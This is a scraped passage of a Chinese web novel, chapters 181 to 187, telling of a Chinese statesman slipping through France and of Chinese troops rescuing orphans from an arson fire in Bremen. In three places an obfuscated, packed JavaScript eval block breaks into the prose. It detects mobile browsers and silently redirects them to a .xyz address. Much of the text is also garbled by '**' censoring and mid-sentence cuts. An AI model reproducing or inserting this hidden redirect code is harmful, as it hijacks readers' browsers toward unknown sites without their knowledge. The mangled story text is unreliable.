普鲁士情报官莱昂和意大利船长亚历山大等人也单膝跪地,不停画着十字。这些中国人的勇气彻底征服了他们的心。 护卫舰很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15699615|170045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快开始倾覆。沉重的火炮在船舱内横冲直撞,甲板上的水手纷纷落水。突然,船体内部的**库发生二次**,整艘战舰瞬间解体。 **的冲击波横扫海面,无数法国士兵被震得七窍流血,沉入海底。碎木和残肢断臂漂浮在血色的海面上,场面惨不忍睹。 所有人的目光都**在陈逸风身上。这个神秘的东方人,一声令下就有这么多年轻人愿意为他赴死。趾高气扬的法兰西战舰,在他面前不堪一击。 他们期待着陈逸风的下一个命令,期待着他下令**这些落水的法国人。 出人意料的是,陈逸风长叹一声:“救人吧,能保住几条命算几条命。战争不能泯灭人性,我们终究都是血肉之躯。” 商船立即行动起来,在暴风雨中打捞幸存者。水手们放下救生艇,将浮在水面上的法**人一个个拉上来。到头来仅捞出三十余名船员,其余人都永远留在了这片海域。 “我们该走了。”陈逸风望着渐渐平息的海面说,“率先将这群法兰西士兵护送至北方的意大利,找个偏僻村庄安置。等我到了普鲁士再放人,到时让普鲁士去和法国交涉吧。” 按照新计划,货船先在罗马南部海岸秘密停靠。陈逸风一行人在莱昂带领下前往那不勒斯,与普鲁士情报部门接头后,换乘一艘不起眼的葡萄牙渔船继续北上。 这次伪装果然奏效。虽然途中遇到两次英法水军的检查,但都顺利通过了。五天后,他们终于抵达马赛港,趁夜色登上了法国领土。 “马赛啊...”陈逸风站在岸边,望着远处灯火通明的城区,“法兰西最大港口,国内仅次于首都的城市,可惜这次是偷渡,不能好好游览了。” “宰相大人,马车已备好。”莱昂催促道,“咱们得马上启程。此刻整个法兰西的普鲁士密探都已开始行动,就是为了保证您的安全。” 陈逸风会意一笑,扶着凤女上了第一辆马车。阿艳、川儿、婉玉等女眷乘坐第二辆,沈达华和孟明蛇他们则挤进第三辆。 第一百八十二章 记者眼中的的新军 马车队趁夜向北疾驰。他们即将顺着罗纳河往北行进,途经里昂后驶入索恩河,终于在第戎登陆。抵达彼处便离法兰西北境咫尺之遥,有维也纳情报机构相助,偷渡过境应该不难。 凤女依偎在陈逸风怀里,透过车窗望着两旁飞速掠过的景色。夜色中的法国乡村静谧安详,与他们此刻的处境形成鲜明对比。 “这便是你口中的欧罗巴吗?”她轻声道,“确实很漂亮,但我不喜欢。这里的人表面客气,骨子里却瞧不起我们。” 陈逸风轻抚她的秀发:“人是会变的。当你用实力赢得他们的尊重,他们自然会改变态度。你看那些意大利人,待法兰西战舰葬身水底之时,对我们的态度不就变了吗?” 马车继续在夜色中前行。车轮碾过泥泞的道路,发出沉闷的声响。远处传来阵阵狗吠,偶尔有农舍的灯光在黑暗中闪烁。 陈逸风望着窗外,思绪飘向远方。小端的牺牲让他更加坚定了信念。这条路注定充满荆棘,但总要有人去走,去为后人开辟一条新的道路。 马车队在黎明时分抵达一处偏僻的农庄。这是普鲁士情报部门的一个秘密落脚点,他们将在这里休整一天,等待夜幕降临后继续北上。 “大人,”莱昂递上一份密报,“巴黎方面已经得到消息,正在调查马赛港的可疑人员。不过我们改乘葡萄牙渔船的计策起了作用,他们的注意力都集中在意大利商船上了。” 陈逸风点点头:“辛苦你们了。”他转向众人,“都去休息吧,明晚还要赶路。” 农庄的主人是个上了年纪的法国老农,他并不知道这些客人的**,只当是普通的商人。老人殷勤地端来面包和牛奶,还特意为女眷们准备了干净的床铺。 “这些普通人其实并不坏。”陈逸风望着老农忙碌的背影,轻声说道,“战争和仇恨,往往是由少数人挑起的。” 普鲁士的中**营处,亨利站在军营门口,手中的相机沉甸甸的,眼神中带着一丝不屑。他看着眼前这支中国新军的营地,心中暗自嘲讽。作为一名资深记者,他已经习惯了用轻蔑的目光看待这个衰落的东方古国。 营地大门两侧,身着新式军装的士兵笔直站立。他们的目光如炬,纹丝不动的姿态让亨利微微一愣。这与他印象中那些蓬头垢面的清军大不相同。 “你来了”一个浑厚的声音传来。 亨利转头,看见一个高大的金发男子大步走来。那是艾伦姆,这支部队的普鲁士教官之一。 “是的,我如约而至。” “跟我来吧,”艾伦姆做了个手势,“让你见识见识这支特殊的部队。” 走进营房,亨利的第一印象是干净。地面一尘不染,每张床铺都叠得整整齐齐,毛毯的折痕仿佛用尺子量过一般。就连挂在墙上的军装都像是经过特殊处理,没有一丝褶皱。 “这些中国人...”亨利嘴角抽搐,“未免太过较真了。” 艾伦姆笑而不语,继续带路。 操场上,三百名新军士兵正在进行队列训练。他们的动作整齐划一,连转身的角度都分毫不差。训练场边,一个身材挺拔的军官正在大声发号施令。 “那是瑾周信,”艾伦姆介绍道,“你之前见过,这支部队的总教官。” 亨利举起相机,对准训练场。透过镜头,他看到瑾周信严厉的目光扫过每一个士兵。那种专注和严苛,让他想起普鲁士最精锐的部队。 “立正!”瑾周信一声令下。 三百人瞬间定在原地,**重重砸在地面,发出整齐的闷响。 “两人成排,三人成列!” 士兵们迅速变换队形,动作流畅得令人叹为观止。 “这...”亨利放下相机,眉头紧皱,“他们训练多久了?” “三个月。”艾伦姆的回答让亨利倒吸一口冷气。 午饭时分,新的惊喜等着亨利。食堂里,三十多名轮值的士兵正在忙碌。他们使用一种叫“汽炊鼎”的器具,制作出令人垂涎的美食。 “尝尝这个。”一个年轻士兵递来一个热气腾腾的包子。 亨利犹豫片刻,接过咬了一口。面皮柔韧,馅料鲜美,完全颠覆了他对军营伙食的认知。 “这是...” “我们自己改良的配方,”士兵笑着说,“营养均衡,易 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亨利跟在队伍后面,气喘吁吁。他的相机不停地按动快门,记录着这支神秘部队的一举一动。 凌晨时分,训练终于结束。亨利瘫坐在地上,看着士兵们依旧精神抖擞地列队。 “这就是我们的日常。”瑾周信走到他面前,“每一个士兵,都要经历这样的训练。” “为什么?”亨利忍不住问道。 瑾周信没有直接回答,而是指了指远处的晨曦:“看,天要亮了。” 亨利顺着他的手指望去,朝阳正从地平线上缓缓升起。 这一刻,亨利忽然明白了什么。他举起相机,对准这群沐浴在晨光中的战士。镜头中,他们不再是他印象中软弱的东方人,而是一支令人生畏的精锐之师。 “也许...”亨利喃喃自语,“我真的看错他们了。” 就在这时,一个哨兵踉踉跄跄地跑来,脸上写满了焦急:“报告!西面发现火光,似乎是城区起火!” 第一百八十三章 新军训练遇火情 所有人的目光瞬间转向西方,果然,半边天空被映得通红。隐约能听到混乱的喊叫声随风飘来。 “那边是港口储货区...”亨利脸色突变,声音中带着颤抖,“那里有一座孤儿院!” 军官们迅速**商议。艾伦姆的表情异常凝重,他环视四周,压低声音说道:“诸位,在做决定之前,我必须告诉你们一个秘密。陈逸风首相正在秘密赶往不莱梅,而法国人正在全力搜捕他。” “如果你们现在出手相救,很可能暴露宰相的行踪和营地的位置。这将使他陷入极度危险的境地。” 一时间,所有人陷入沉默。 远处的天空被火光染红,孤儿院里传来的哭喊声让他心如刀绞。新军驻地就在火场附近,只要他们愿意出手,比当地军队赶到的时间都要快得多。 “那些中国人......”亨利眼中充满愤怒,“面对生命危险时的犹豫,简直令人作呕。” “首相大人明天就要来视察,我们必须保证营地的安全。”一个军官皱着眉头说道。 “可是那里有几十个孩子!”亨利拍着桌子吼道。 “请你冷静,先生。”另一个军官平静地说,“我们需要权衡轻重。” 权衡轻重?亨利握紧拳头,指甲深深陷入掌心。一个人的安危,怎能比得上几十个孩子的性命! 身为一名文人,体力本就不佳。才跑了不到两千米,亨利就已经气喘如牛。突然,脚下一绊,整个人扑倒在葡萄架上。 粗糙的荆棘撕裂了他的外衣与血肉,额头上鲜血直流。疼痛让他倒吸一口凉气,但比起内心的愤怒和失望,这点痛算不了什么。 “亨利!”艾伦姆的声音从身后传来,“你这个莽撞的家伙!” 艾伦姆蹲下来查看他的伤势,眼中满是担忧:“伤得不轻啊,得赶紧处理......” “我真是个废物......”亨利捂着伤口,声音哽咽,“那些孩子还在等救援,而我却连跑两千米都做不到。” 就在这时,身后传来整齐的脚步声。地面微微震动,一队队身影从他们身边掠过,速度之快令人咋舌。 “让开!”一个带着命令口吻的声音响起。 那是新军的士兵们!三百人的队伍如潮水般涌向火场,每个人的脸上都带着坚毅的神情。 “比深夜行军?就你们这些文人,还是省省吧。”一个嘲讽的声音传来,说话的是个年轻的军官。 他停下脚步,递给亨利一块手帕:“擦擦脸上的血,别吓着那些孩子。” “可是......”亨利愣住了,“你们不是说要保护你们的宰相吗?” “宰相大人说过,"一个军人的使命,就是保护每一个需要帮助的人"。”军官露出一个笑容,“我们只是在等待增援部队到齐而已。” “亨利,记住你的使命。”另一个士兵丢下一句话,“让欧洲看看,我们中**队是什么样的存在。” 艾伦姆把相机塞到亨利怀里:“这才是你的武器。记录下这些勇士的身姿,别让他们再背负不实的骂名。” 当两人赶到火场时,新军已经展开行动。葡萄酒庄已被大火吞噬,周围的民房和仓库也开始燃烧。空气中弥漫着刺鼻的酒精和木材燃烧的气味。 “长官,那边就是孤儿院!”一名哨兵指向北侧的胡同,“火势已经蔓延到后院了!” 火光映红了半边天空,浓烟滚滚。孤儿院周围已经**了不少居民,但没人敢靠近。女人的哭声、老人的祈祷声此起彼伏。 “火太大了,根本靠近不了......” “这群孩子早已被命运遗弃......” 绝望的气氛在人群中蔓延。有人跪地祈祷,有人抱头痛哭,更多的人只能无助地看着火势越来越大。 “让开!”一声带着古怪口音的德语响起,“谁家有毛毯,全都拿来!” 不莱梅市民们目瞪口呆地看着这群东方面孔的军人瑾周信第一个抢过浸湿的毛毯,不顾一切冲进火海。 “跟我来!”他用生硬的德语喊道,“分组搜救,注意安全!” 紧接着是诸葛林、苗烈,野平太等也纷纷冲了进去。每个人都裹着湿毛毯,在火光中显得格外渺小。 艾伦姆惊呆 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“还有孩子在里面!”瑾周信的声音从火场中传出,“继续搜救!” 突然,一声巨响。孤儿院的主楼轰然倒塌,火光冲天而起。人群中爆发出惊恐的尖叫。 “长官还在里面!”一个士兵喊道。 浓烟呛得瑾周信几乎喘不过气,但他依然坚持向前。孤儿院的木质结构在大火中发出不堪重负的呻吟,随时可能坍塌。 “还有人吗?”他的喊声嘶哑。 突然,一块燃烧的横梁从头顶砸下。瑾周信本能地一个翻滚,但还是被砸中了后脑勺。剧痛袭来,他的视线开始模糊。 “该死...”他咬紧牙关,强迫自己保持清醒。 恍惚间,他又听到了陈逸风的训斥声:“站直了!想回国继续逞能装逼,可别让咱们的脸面在国外被打碎!” 这声音像一记重锤,把他从昏迷的边缘拉了回来。瑾周信趴在地上,大口喘着气。头还在隐隐作痛,但意识已经完全清醒了。 第一百八十四章 瑾周信火场救孤儿 就在这时,他看到不远处有一双黑色的小皮鞋,鞋子的主人似乎已经失去了意识。 “有孩子!”他顾不得头痛,立刻朝那个方向爬去。 与此同时,野平太在建筑的另一侧也有了重大发现。他一脚踢开一扇摇摇欲坠的木门,看到十几个孩子正挤在墙角,脸上满是惊恐。 “快过来!”野平太用蹩脚的德语喊道。但他满脸黑灰的模样反而把孩子们吓得更厉害了。 “恶魔!不要吃我们!”几个年纪小的孩子哭喊着。 野平太也顾不得解释,直接冲过去抱起离门最近的两个就往外跑。“这里还有二十个孩子!”他一边跑一边用中文大喊。 外面的街道上挤满了市民,他们正在为孤儿院里的孩子们祈祷。当看到野平太抱着孩子冲出来时,所有人都惊呆了。 他身上裹着的毛毯已经开始冒烟,边角甚至着了火。几个反应快的市民立刻拎起水桶,把水泼了上去。 两个获救的孩子从毛毯下钻出来,立刻被认出是小约翰和临熙。 “上帝保佑!”一个体型魁梧的厨娘冲上前,一把将两个孩子抱在怀里。 很快,更多的士兵带着获救的孩子冲了出来。每一个孩子获救,人群中就会爆发出一阵欢呼。 但瑾周信还在里面。 “不好!”一个士兵突然惊呼,“刚才塌方的地方就在西侧!” 所有人的心都提到了嗓子眼。野平太挣扎着站起来,想要冲回火场,却被几个士兵拦住了。 “你受伤了,不能再进去!” “可是瑾大哥还在里面!” 火光冲天,浓烟滚滚。 瑾周信抱着一个金发碧眼的小女孩,紧贴着孤儿院西侧的墙角。灼热的气浪一波接一波扑面而来,他的衣服已经被汗水浸透。头顶上不断有燃烧的木块掉落,他只能不停地躲闪,同时用身体护住怀中的孩子。 四周的温度越来越高,空气中弥漫着刺鼻的焦糊味。瑾周信能感觉到墙壁传来的热度,这让他不由自主地往外挪了挪。 “您是从东方来的吗?”怀中的小女孩突然用德语问道,声音清脆悦耳,仿佛完全没有被周围的火海影响。 瑾周信低头看去,发现这个洋娃娃般的小姑娘正用一双湛蓝的大眼睛望着自己。那双眼睛纯净得像天空,没有丝毫惊慌,反而闪烁着好奇的光芒。 “是的,我是中国人。”瑾周信用生涩的德语回答,同时警惕地观察着周围的情况。火势正在迅速蔓延,他们所处的位置很快就会被火焰吞噬。 “太好了!”小女孩的脸上绽放出灿烂的笑容,“修女妈妈说过,东方来的客人都是善良的。她说东方有一种叫做"仁"的美德。” 瑾周信心中一震。这个年纪的孩子,在如此危急的关头,竟能保持如此镇定,还能谈论这么深奥的话题。 “你不害怕吗?”他忍不住问道,同时躲过一块坠落的燃烧木板。 小女孩摇摇头,金色的卷发随着动作轻轻晃动:“修女妈妈说,死亡只是回到主的怀抱。我是孤儿,除了修女妈妈,我谁都不怕失去。” 她的语气平静得不像一个孩子,反而像个历经沧桑的老者。这种超出年龄的成熟,让瑾周信心中泛起一阵酸楚。 “那修女妈妈呢?”他下意识地问道,随即就后悔了。 小女孩指了指不远处的火海,声音依然平静:“她已经睡着了。” 瑾周信顺着她手指的方向看去,只见火焰中躺着一具焦黑的人形。那是一个穿着修女服的女人,此刻已经面目全非。 他连忙用手遮住小女孩的眼睛,声音有些哽咽,“别看那边,记住修女妈妈最美好的样子。” 小女孩乖巧地闭上眼睛,但嘴角却浮现出一丝微笑:“先生,能给我讲讲中国的故事吗?在我死之前...” 这句话刺痛了瑾周信的心脏。他紧紧抱住小女孩,咬牙道:“不,你不会死的。我一定要带你离开这里。” 四周火势越来越大,他们被困在墙角。背靠着结实的墙壁,前方是不断坠落的火焰。空气中的氧气越来越稀薄,瑾周信感觉呼吸开始困难。 他低头看了看已经干透的毛毯,心中暗叫不 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顺着台阶往下,瑾周信发现这是一个巨大的地下酒窖。潮湿的空气中弥漫着霉味,墙壁上爬满了青苔。借着从上方透下来的微弱火光,他看到令人震惊的一幕。 十几个个孩子蜷缩在各个角落,有的抱在一起,有的独自发抖。他们的年龄从四五岁到十二三岁不等,脸上都带着惊恐的表情。 “德兰!”看到小女孩,孩子们纷纷喊道。原来这个勇敢的小姑娘叫德兰。 “别怕,这位中国先生是来救我们的。”德兰骄傲地介绍道,“他很厉害的,刚才救了我。” 瑾周信没时间寒暄,他必须尽快找到出路。头顶的火势越来越猛,空气也越发稀薄。如果通风不畅,这里很快会变成死亡陷阱。 “德兰,带我去找那个能**的东西。”瑾周信说。 德兰点点头,带着他穿过迷宫般的地下室。这里的布局错综复杂,如果没有向导,很容易迷失方向。 很快,他们来到一个堆满木箱的房间。瑾周信撬开箱子,借着火光看清里面的东西,不由倒吸一口凉气。 第一百八十五章 孤儿院的纵火阴谋 里面竟然全是**! “这些是去年新来的仓库主人放进来的。”德兰说,“平时这里都是锁着的,今天却开着...” 瑾周信心中一凛。这不是意外,是蓄意纵火!有人故意放火烧孤儿院,还提前打开了**库的门,就是想要制造更大的**。 就在这时,身后传来破空声。一个黑影举着铁锨向他劈来。 “小心!”德兰大喊一声,用力推了瑾周信一把。 瑾周信侧身一滚,躲过偷袭。顺势一记鞭腿,正中偷袭者面门。 “砰!” 那人惨叫着撞在墙上,手中铁锨当啷落地。瑾周信冲上去就是一顿暴打,每一拳都带着怒火。 “为什么纵火?说!”他厉声喝问。 那人支支吾吾说了几句外语。 “他讲一口流利的法语,”德兰翻译道,“他是法国人...” 突然,头顶传来轰隆巨响。火红的炭块从台阶上滚落下来,情况危急。 “糟了!”瑾周信冲过去关上木门,用铁锨顶住。他抓起一把**揣进怀里,拔出靴中**架在纵火犯脖子上。 “走,带我们回去!” 一手拉着德兰,一手挟持纵火犯,瑾周信带着孩子们向孤儿院的地窖赶去。时间紧迫,他们必须尽快找到出路,否则所有人都会葬身火海。 三百新军的战士们**在火场外,一个个面色焦急,眼睛死死盯着熊熊燃烧的建筑群。 “再清点一遍!”诸葛林的声音沙哑而急促,“一定要确认!” 苗烈擦了把额头的汗水,快速扫视着面前的队伍:“第一排,报数!” “一!” “二!” “三!” ... 清点完第三遍,结果依然让人心如刀绞——只少了瑾周信一人。 “妈的!”诸葛林一拳砸在身旁的砖墙上,指节瞬间渗出血来,他却浑然不觉,“我们解救了孩子,却把自己的指挥官给弄丢了!” 野平太的眼眶通红,声音颤抖:“瑾大哥...他最后是往哪个方向去的?谁看见了?” “我看见了!”一个战士急切地冲上前,“长官是往西边那栋楼跑的,说听见有孩子的哭声!” “该死的!”另一个战士插话道,“那边的火势最大,现在整个都塌了!” 野平太像疯了一般抢过一条浸湿的毛毯,就要往火场冲。苗烈眼疾手快,一把拽住他:“你**冷静点!这火势,进去就是送死!” “我不管!”野平太拼命挣扎,泪水不受控制地流下,“就算只剩骨灰,也得把瑾大哥带回去!” “都给老子站住!”诸葛林暴喝一声,声音中带着不容置疑的威严,“瑾周信不在,我就是临时指挥官!都给我退后,别忘了咱们来欧洲的任务!” 艾伦姆见状赶紧用德语安抚周围的市民,让他们帮忙拦住这些情绪失控的东方士兵。 远处传来一阵急促的警铃声,一辆接一辆的马拉水车疾驰而来,车轮碾过石板路发出沉闷的轰鸣。 **很快就把火场团团围住。这些原始的救火车虽然简陋,但总算能控制火势不再蔓延。**员们扛着皮管,开始往火场喷水。 一个身材魁梧的**长走上前来,用生硬的英语说道:“诸位英雄,你们已经救出了那么多孤儿,是我们不莱梅的恩人。现在请让我们来处理后续...” “放屁!”一个年轻的战士怒骂着打断他,“我们的长官还在里面!你们这些懦夫,只会在外面撒尿,连进去救人的胆子都没有!” 轰隆一声巨响,东侧仓库的屋顶轰然坍塌,火星四溅。**长脸色一沉:“抱歉,为了活着的人,我必须采取措施了。” 他一挥手,早已待命的警察立刻组成人墙,把新军战士们隔离在外。就在这剑拔**张之际,一辆豪华马车疾驰而来,车轮在地上擦出火星。 车窗探出一个蓄着大胡子的中年男人,用德语大喊:“让开!这地儿归我管!是我最重要的仓库!” 两名战士对视一眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15713147|170045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,默契地冲上前去。一个直接一拳打在马眼上,马匹吃痛倒地。另一个揪住大胡子的衣领:“你这个罪魁祸首!火就是从你这起的!” “住手!”诸葛林厉声制止,“这是警察的事,不关我们的事!敢动手**,我就开除你们!” 那名大胡子顾不上计较,直奔警长而去:“别救火了!地下室有三吨军用**!这是军方秘密储存点!” “上帝!”警长脸色大变,“你是谁?为什么...” “我是阿尔弗莱德.伯纳德.诺贝姆,昌安**厂的老板。现在立刻疏散,我会负责所有赔偿!” 诸葛林一听这名字,瞳孔猛地收缩:“诺贝姆先生?就是那个瑞典**专家?” 得到肯定答复后,他激动地说:“太好了!我们一直在找您!请告诉我您的地址...” 诺贝姆却充耳不闻,继续和警长商议疏散事宜。很快,整个街区都开始大规模撤离。人群涌向东面的葡萄园,那里有足够大的空地安置这么多人。 新军的战士们垂头丧气地撤离,每走一步都像是在撕裂心脏。一个获救的金发小女孩突然冲出来抱住诸葛林的腿:“谢谢你们!我们会永远记得你们的恩情!” 诸葛林看着孩子纯真的眼神,泪水不受控制地流下。他蹲下身,轻轻抱住小女孩:“对不起...对不起...” 而此时此刻,在地下。 瑾周信正在昏暗的地窖里奋笔疾书,借着微弱的火光勾画着地形图。汗水顺着他的额头滑落,在纸上洇开一片水渍。 “这里是孤儿院主楼,呈长方形...这边是三个相连的仓库地窖...还有那些酒桶,应该是葡萄酒工坊...”他一边画一边喃喃自语。 “对,先生!”一个瘦小的男孩用蹩脚的英语补充,“西南角还有面包房和肉铺,那里也能通到地面!” 其他孩子们也七嘴八舌地说着,有的用德语,有的用法语,还有的干脆比划着手势。瑾周信一边听一边在图纸上标注,脸色却越来越难看。 第一百八十六章 瑾周信绝境逃生 这哪是什么迷宫,分明就是一个死局!除了那六个已经被大火封死的出口,根本无路可走! “混账东西!”瑾周信一巴掌抽在那个法国间谍脸上,“你早就知道这里的构造,是不是?” “别做梦了,”间谍嘴角渗出血丝,却依然冷笑,“每个出口都是火海,你逃不掉的!我们都要死在这里!” 瑾周信直接卸了他的下巴:“闭嘴!”转身对着惊恐的孩子们说,“别怕,我一定能救你们出去!” 他的大脑飞速运转,计算着地面建筑与地下迷宫的相对位置。突然,他的眼睛一亮。 “看好这个坏蛋,我马上回来!”瑾周信抱起角落里的一箱**,快步向面包房地窖的尽头跑去。 “上帝保佑!佛祖保佑!玉皇大帝显灵!”他一边安放**一边碎碎念,“千万别让我算错了,头顶必须是主街道啊!” 他小心翼翼地拉出十米长的引信,点燃后撒腿就跑。 “孩子们!”他冲回来大喊,“都捂住耳朵!张开嘴!” 聪明的德兰立刻用德语翻译给其他孩子。小家伙们挤在角落,瑟瑟发抖。瑾周信扑过去,用身体护住最外围的孩子们。 轰! 一声震耳欲聋的巨响,气浪夹杂着浓烟席卷而来。黑暗中,瑾周信紧紧抱住身边的孩子们,等待着命运的审判。 尘埃散去,月光透过头顶的大洞洒了进来。瑾周信抬头看去,不禁热泪盈眶——计算没错,他们真的找到了一条生路! “快!”他招呼着孩子们,“一个接一个,我来托你们上去!” 就在这时,地面传来一阵急促的脚步声。 “老瑾!”是诸葛林的声音,“你个王八蛋,可算找到你了!” 瑾周信仰头大笑:“快派人下来帮忙,这里有十多个孩子要救!” 一根根绳索垂了下来,新军的战士们纷纷跳入地窖。他们小心翼翼地把每个孩子都系好,然后由地面的同伴拉上去。 最后一个孩子获救时,远处的钟楼正好敲响了十二下。 瑾周信拍了拍身上的灰尘,看着满地狼藉,长长地舒了一口气。 “英雄!东方的英雄!”长街上爆发出雷鸣般的欢呼。 但新军将士们却突然变了脸色:“快退后!找掩护!要**了!”他们的声音中带着急切的警告。 死神终于挥下了镰刀。三吨烈性**瞬间引爆,蘑菇云腾空而起,震荡波肆虐了整条街。巨大的**声震耳欲聋,仿佛要撕裂天空。 **中心的房屋被夷为平地,大地剧烈震动。趴在地上的新军将士们被震得昏天黑地,不少人当场晕厥。碎石和灰尘如雨点般落下,空气中弥漫着刺鼻的硝烟味。 当火雨落下时,无数不莱梅市民冲出安全区,救助那些倒在长街上的中国士兵。他们不顾危险,争相伸出援手。 “快准备马车和担架!”有人高声呼喊。 “通知市议会,通知首相,这是重大外交事件!”艾伦姆快速下达命令。 五十多名受伤的新军将士被紧急送往医院,不莱梅最好的医生们纷纷赶来救治这些来自东方的英雄。医院里,护士们忙着处理伤口,医生们全力抢救重伤员。 巴黎的夜晚总是醉人的。 狭窄的小巷深处,一家不起眼的酒馆里弥漫着浓郁的酒香。昏黄的灯光下,酒客们三三两两地聚在一起,谈笑声此起彼伏。 皮埃尔趴在吧台上,手里握着一杯红酒,透过酒杯欣赏着舞台上婀娜的身影。这是他独创的一种欣赏美的方式,当舞女的倩影透过酒杯折射时,那扭曲的光影总能带来别样的韵味。 “老板,再来一杯。”他晃了晃空杯,目光依旧没离开舞台。 老板摇摇头,熟练地倒上一杯便宜货:“皮埃尔少校,您今晚已经喝了不少了。” “啧啧,要是能换一杯波尔多,这画面该有多美...”皮埃尔抿了一口劣质红酒,眉头微皱。 “啪!” 一枚金法郎重重地砸在吧台上,发出清脆的响声。酒馆里的喧闹声戛然而止,所有人的目光都被这突如其来的动静吸引。 “给这位先生换上最好的波 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15713148|170045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尔多。”一个熟悉的声音在耳边响起。 皮埃尔慢慢转过头,借着昏暗的灯光,看到一张许久未见的面孔。那人身着军装,肩章上的徽记在灯光下闪烁着冰冷的光芒。 “谢里夫?”皮埃尔眨了眨眼,似乎在确认自己是否看错,“你当时不是驻扎在撒哈拉了吗?那些土著终于开化了?” 谢里夫中校在他身边坐下,示意老板开酒:“你还是这么油嘴滑舌。七年了,你还在少校这个位置上蹉跎。” “要不是你非要去勾引少将的女儿...” “打住!”皮埃尔举起双手,脸上露出夸张的表情,“那是纯粹的爱情!你不懂!” “闭嘴吧你!”谢里夫瞪了他一眼,“从大学到现在,你到底祸害了多少姑娘?” 老板适时地端来一瓶波尔多,谢里夫给两人各倒了一杯,神色渐渐严肃:“跟我走,有重要任务。” “可是...”皮埃尔眼巴巴地看着台上,舞女正要进入最后一个节目,“再等等,马上就到精彩部分了...” 谢里夫直接拽起他的衣领:“祖国需要你!” 夜风微凉,吹散了皮埃尔几分醉意。他这才发现巷子里停着一辆马车,周围还有十名骑兵护卫,他们身上的制服在月光下泛着冷光。 “宪兵卫队?”皮埃尔眉头一皱,“什么情况这么严重?” 不等他多问,谢里夫已经把他推进了马车。车厢内铺着厚实的地毯,两侧各有一排软垫座椅,看起来是专门用来长途旅行的。 “三天前,水军在西西里岛发现了护卫舰达尔号的残骸。”谢里夫递给他一个鼓鼓的皮包,“同时,我们在塞得港发现了一群神秘的中国人,他们还受到普鲁士情报人员的保护。” 皮埃尔翻看着文件,借着车窗外的月光,一份份情报在他手中快速翻过。他的眼神渐渐变得锐利,醉意早已消散,取而代之的是一名情报分析官的敏锐。 “有意思。”他展开随身携带的地图,在上面不断标注,“中国人、普鲁士人、沉船...这是我见过最有趣的案子。” 第一百八十七章 陈逸风法国遇袭 马车在夜色中疾驰,不时传来马蹄声和车轮碾过石板路的声响。 “你们都错了。”皮埃尔突然开口,手指在地图上划过,“他们不会走直布罗陀,那太明显了。” “我们已经在意大利发现了达尔号的幸存者...”谢里夫话还没说完,就被打断了。 “声东击西!”皮埃尔眼中精光闪烁,“他们现在就在法国境内!” “不可能!”谢里夫惊呼,“没人会这么疯狂!这简直是在虎口拔牙!” “恰恰相反。”皮埃尔指着地图,声音沉稳,“普鲁士和奥地利剑拔**张,战争一触即发。这些中国人必须在开战前抵达普鲁士。从马赛登陆,沿罗纳河北上,经里昂到第戎,再转向德意志联邦。看似危险,实则最安全。因为没人会想到他们敢走这条路。” 谢里夫听得目瞪口呆:“你怎么知道普鲁士要和奥地利开战?” 皮埃尔晃了晃手中的文件:“情报分析的艺术,我的老友。这些零散的信息就像拼图,只要找到正确的方式组合,真相自然浮现。” 马车驶入一座庄园,停在一栋灯火通明的建筑前。 “欢迎来到京城情报总署。”谢里夫推开车门,“从现在起,你就是这个案子的主要负责人。” 接下来的几天里,一道道命令从这里发出。关卡设立,武装巡逻开始,整个法国东部地区的警戒级别被提到最高。 普鲁士的间谍网随即反击,制造混乱。各种假情报纷至沓来,试图混淆视听。 但皮埃尔始终保持冷静。他在办公室里摆了一张巨大的地图,上面密密麻麻地标注着各种信息。 “谢里夫,听说过不莱梅最近的传闻吗?”他啜了一口红酒,这是他思考时的习惯,“俾姆麦从东方招募了雇佣军。” “在第戎以北二十公里加设三个哨卡。”他指着地图说,“我有预感,大鱼快上钩了。” 情报源源不断地送来。有人报告在里昂看到可疑的东方面孔,有人声称在第戎郊外发现了普鲁士间谍的活动痕迹。 皮埃尔把这些信息一一在地图上标注,渐渐勾勒出一条清晰的路线。 “他们走得很小心。”皮埃尔对谢里夫说,“每次只露出一点蛛丝马迹,就像夜色中的蝙蝠,稍纵即逝。” “但他们犯了一个致命的错误。”他指着地图上的一个点,“太谨慎了。正常的商队不会这么谨慎,这反而暴露了他们。” 谢里夫凑近看了看:“这是...” “对,一个葡萄园。”皮埃尔笑了,“完美的藏身之处,但也是完美的陷阱。” 法**队的封锁线在第戎以北二十多公里的丘陵地带拦住了陈逸风一行人。 这支队伍为了避人耳目,只带了二十多人的护卫力量。其他守卫分散在方圆十公里范围内警戒。原本这种隐蔽的护送方式对付法国警察和密探还算有效,但遇上全副武装的正规军就麻烦了。 陈逸风蹲在葡萄架后,透过叶片缝隙仔细观察前方。清晨的寒气顺着衣领往里钻,他下意识地裹紧了外套。前方道路上,法军士兵正在紧张地布置防线。 